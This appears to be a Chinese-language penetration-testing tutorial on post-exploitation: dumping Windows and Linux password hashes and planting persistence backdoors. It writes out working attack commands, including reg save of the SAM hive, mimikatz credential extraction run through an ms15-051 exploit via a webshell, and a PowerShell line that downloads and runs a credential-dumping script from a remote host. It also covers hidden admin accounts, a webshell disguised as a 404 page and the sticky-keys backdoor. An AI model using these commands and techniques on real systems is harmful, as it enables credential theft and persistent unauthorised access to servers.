当攻击者获取服务器权限后,通常会采用一些后门技术来维持自己当前得到的权限,服务器一旦被植入后门,那么攻击者下次进入就方便多了
由于攻击可能被发现,被发现后可能会被将之前拿到的的webshell清除,导致目标丢失,所以需要留下后门来维持权限,达到持续控制的目的
windows系统账号密码存储位置:
C:\Windows\System32\config\SAM
windows密码验证原理:
在Windows系统中,对用户账户的安全管理采用了SAM(Security Account Manager,安全账号管理)机制,用户账户以及密码经过Hash加密之后,都保存在SAM数据库中。
SAM数据库保存在C:\WINDOWS\system32\config\SAM文件中,当用户登录系统时,首先就要与SAM文件中存放的账户信息进行对比,验证通过方可登录。系统对SAM文件提供了保护机制,无法将其复制或是删除,也无法直接读取其中的内容。
SAM文件加密方式:
1.LM加密:Windows2003之前,包括win2003系统
2.NTLM加密:Windows 2003之后的系统
LM和NTLM都是基于Hash加密,但是它们的安全机制和安全强度存在差别,LM口令散列的安全性相对比较差。尽管现在已很少有人使用Windows2k之前的老版本系统,但为了保持向后兼容性,默认情况下,系统仍会将用户密码分别用这两种机制加密后存放在SAM数据库里。
区别:
LM加密,密码最多14位,如果口令不足14位,不足的部分用0补齐,把所有的字符转变为大写,然后分成两组,每组7位,分别加密,然后拼接在一起,就是最终的LM散列,本质是DES加密。
NTLM加密,先将用户口令转变为unicode编码,再进行标准MD4单向哈希加密。
LM加密安全性远低于NTLM加密,因为NTLM加密它允许使用更长的密码,允许有大小写的不同,而且也无须把密码分割成更小、更易于被破解的块。所以在一个纯NTLM环境中,应该关闭Lan Manager加密方式
获取SAM文件内容:
获取sam密码方式
1.非免杀版工具:wce.exe,QuarksPwDump.exe,Pwdump7.exe,gethash.exe,mimikatz
2.免杀版:
2.1使用注册表导出hash:
命令
reg save hklm\sam C:\hash\sam.hive
reg save hklm\system C:\hash\system.hive
之后将导出的文件下载下来,使用Pwdump7进行破解
2.2导出sam文件
shadow copy (一般用在域控上几万 几十万用户的时候)
2.3其他方式
procdump(或者lsadump)+mimikatz
Powershell+mimikatz
powershell+getpasshash
powershell+其他工具
破解密码
1.在线破解
http://www.objectif-securite.ch/en/ophcrack.php
http://cmd5.com
https://somd5.com
2.本地破解( 暴力破解)
LM加密: cain
NTLM加密: ophcrack+彩虹表(彩虹表下载:http://ophcrack.sourceforge.net/tables.php)
注意事项
1.LM只能存储小于等于14个字符的密码hash,如果密码大于14位,windows就自动使用NTLM对其进行加密了,只有对应的NTLM hash可用了,在LM-Password中会以全0显示。
2.一般情况下使用工具导出的hash都有对应的LM和NTLM值,也就是说这个密码位数<=14,这时LM也会有值,除了LM值全为0之外,在老版本中看到LM:aad3b435b51404eeaad3b435b51404ee开头显示的表示密码为空或者位数超过14位
3.在win2K3之前包括win2K3会默认启用LM加密,win2K3之后的系统禁用了LM加密,使用NTLM加密
4.LM方式的加密会存在一个对应的NTLM hash值
QuarksPwDump.exe
1.QuarksPwDump.exe导出本地哈希值,上传QuarksPwDump.exe到目标机C:\Windows\Temp\下
2.利用ms15-051x64.exe(exp)提权成功后菜刀虚拟终端输入命令:
C:\Windows\Temp\ms15-051x64.exe "C:\Windows\Temp\QuarksPwDump.exe --dump-hash-local"
3.AFFFEBA176210FAD4628F0524BFE1942即为密码,之后拿到cmd5进行破解即可
mimikatz
注意:只能抓取已经登陆用户的密码
利用mimikatz抓取账号明文哈希值原理
从lsass.exe进程中直接获取密码信息进行破解,而且该破解应该并非穷举方式,而是直接根据算法进行反向计算
lsass.exe是系统进程,用于本地安全认证服务
1.利用菜刀上传mimikatz到目标机C:\Windows\Temp\下
2.利用ms15-051x64.exe(exp)提权成功后菜刀虚拟终端输入命令:
C:\Windows\Temp\ms15-051x64.exe "C:\Windows\Temp\mimikatz.exe privilege::debug sekurlsa::logonpasswords exit"
wce.exe
1.上传wce.exe到目标机C:\Windows\Temp\下
2.目标机输入
wce.exe -l 列出密码和凭证
wce.exe -lv 读取sam文件的密码
powershell脚本
windows自带,相当于加强的命令行,可扩展许多脚本,里面大多windows和linux的命令都可以用
扩展Invoke-WCMDump脚本获取哈希值(从Credential Manager导出Windows凭据的Powershell脚本)
1.上传脚本使用使用
修改策略为可加载脚本
Set-ExecutionPolicy unrestricted
加载Invoke-WCMDump脚本
Import-Module .\Invoke-WCMDump.ps1
2.不上传脚本使用
直接使用命令行远程网上访问(地址为可访问的脚本下载地址)
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.106/Invoke-WCMDump.ps1');Invoke-WCMDump"
Lazagne
LaZagne是一款用于检索大量存储在本地计算机密码的开源应用程序。 因为每个软件储存密码的方式不尽相同(明文、API、定制算法、数据库等),所以该工具使用多种方法获取软件密码
1.cmd输入lazagne.exe -h查看说明
2.提取哈希值(all所有 写具体的模块就提取指定模块)
lazagne.exe all
系统账号密码存储位置:
密码:/etc/shadow 账号:/etc/passwd
/etc/shadow
例如:root:$6$Rw99zZ2B$AZwfboPWM6z2tiBeK.EL74sivucCa8YhCrXGCBoVdeYUGsf8iwNxJkr.wTLDjI5poygaUcLaWtP/gewQkO7jT/:17564:0:99999:7:::
密码为以:分割的第二部分:$6$Rw99zZ2B$AZwfboPWM6z2tiBeK.EL74sivucCa8YhCrXGCBoVdeYUGsf8iwNxJkr.wTLDjI5poygaUcLaWtP/gewQkO7jT/
第一个$是加密方式,第二个$是盐值,第三个$是加密后的密码
当第一个$为1时,使用md5加密,第一个$为5时,采用SHA256进行加密,第一个$为6时,采用SHA512进行加密
破解密码:
使用John the ripper:
1.使用默认字典直接破解
直接在命令行输入
john --single /etc/shadow
之后输入cat .john/john.pot 即可查看密码
2.自己指定字典破解
新建一个字典,写入密码
输入以下代码:
john --wordlist list /etc/shadow
目的
攻击者在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者如入无人之境
常见的后门技术
隐藏、克隆账户,隐藏webshell,shift后门,启动项、计划任务,DLL劫持技术,Powershell后门,远控软件
此处以介绍其中几种方式
1.隐藏、克隆账户
原理
创建用户时,结尾加上$,该用户就成为一个隐藏用户
流程:创建一个$结尾的用户za$,查看该用户时,发现没有该用户
将za$用户添加到管理员组
之后在登陆时,就可使用za$用户进行登陆,并且za$用户具有管理员权限
2.利用404页面隐藏webshell(利用403也可以,原理相同)
首先将网页404报错的源代码复制下来
之后在网站目录里新建一个1.php文件,里面写入上面的源码,/1212改为我们自己新建的文件名,并在下面加上一句话木马
404 Not Found
Not Found
The requested URL /1.php was not found on this server.
访问1.php就会造成没有此文件的404假象
之后用菜刀连接即可
3.Windows Shift后门
原理:
利用cmd.exe重命名,覆盖原来的粘连键。当我们再次触发粘连键时,相当于运行了cmd.exe
sethc.exe位置:
Windows/System32/sethc.exe
流程:
将cmd.exe 重命名并替换掉shift(粘滞键)(sethc.exe)功能,这样在通过远程桌面登录服务器之后,在输入帐号密码处,按5次shift即可弹出cmd的命令行,权限为system。
4.DLL劫持提权
DLL劫持原理举例:
例如你安装了酷狗播放器,而酷狗播放器在播放音乐的时候必须调用Windows系统下一个标准动态链接库mp3play.dll,那么黑客就自己开发一个恶意的mp3play.dll,然后再找一个MP3歌曲,将这个恶意的DLL和歌曲放在同一个文件夹下,然后打包压缩发给受害者。
如果受害者用右键将这个压缩包中的MP3文件和DLL文件都解压缩到了一个目录中(90%的人会这样干),那么当受害者点击这个MP3文件的时候,酷狗就会先去寻找mp3play.dll进行加载,而微软设计的加载dll顺序是先从默认文件本身的目录进行寻找,于是那个虚假的、恶意的mp3play.dll就先被加载运行了。